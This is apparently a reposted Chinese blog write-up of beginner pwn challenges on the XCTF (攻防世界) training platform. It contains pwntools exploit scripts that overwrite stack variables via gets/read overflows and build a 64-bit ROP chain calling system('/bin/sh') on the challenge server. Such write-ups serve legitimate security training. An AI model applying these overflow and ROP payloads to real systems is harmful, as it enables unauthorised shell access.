攻防世界pwn之新手区

涉及的工具有

Ubuntu 16.04

pwntools

IDA

gdb-peda

1、get_shell

连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件,cat flag得到flag

 以下是常规解法

先看一下程序的位数   为64位的ELF

 然后看保护机制

 然后用IDA看看,找到main函数,F5查看伪代码

system函数可以直接获得shell ,连接就可以获得get shell

from pwn import *
r=remote('111.198.29.45',51214)
r.interactive()

2、CGfsb

3、when_did_you_born

检查保护机制

 然后拖到IDA

 要使v5输入1926才能cat flag  但是一输入1926就退出程序了,gets函数可以溢出,我们就可以在输入的名字(v4)的时候填充无意义字符使其溢出,把v5原本的值覆盖掉,替换成1926

在IDA双击&4(var_20)和&5(var_18)  发现它们相差0x8个字符。

 当v4输入的长度大于0x8个字符,大于8个的数会覆盖掉v5,使v5重新赋值

那么可以构造脚本

from pwn import *
r=remote('111.198.29.45',51232)

r.recvuntil("What's Your Birth?")
r.sendline('2019')   #随便填

r.recvuntil("What's Your Name?")
payload='a'*0x8+p32(0x786)  #0x786的十进制是1926
r.sendline(payload)
r.interactive()         

执行,获取flag

4、hello_pwn
64位的ELF

 打开了NX保护

 

 丢到IDA看看,只需要让dword_601068等于1853186401就可以执行sub_400686函数获取flag

read存在溢出,且unk_691968和dword_60106c偏移量为4,那么很轻松就可以覆盖dword_60106c的值

 

 编写脚本

from pwn import *
#p=process('./hello_pwn')
p=remote('111.198.29.45',31449)
payload = 'a'*0x4+p64(1853186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

执行

5、level0
程序是64位

 

NX保护

 

 看看伪代码先

 返回vulnerable_function函数,read函数存在溢出

看看其他函数,_system函数可以执行系统命令

 

 shift+F12看看字符串,发现有shell

 思路很明确,让read函数溢出然后执行system函数,并让system函数的参数为/bin/sh, 我们就可以get到shell了

但是这是一个64位的程序,与32位不同,无法直接传参进去,64位的程序会先把参数先存入寄存器中,前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我们需要找到rdi的地址

然后再找到‘/bin/sh’的地址

以及system的地址

 

 脚本如下

from pwn import *
r=remote('111.198.29.45',47491)
rdi_add=0x400663
shell_add=0x400684
sys_add=0x400460

payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()

 --------------------------分割线------------------------------------

后面承认我瞎,没有看到callsystem函数可以直接调用shell

 重新写脚本

from pwn import *
r=remote('111.198.29.45',47491)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()

 结果如上,不再演示





猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/11653818.html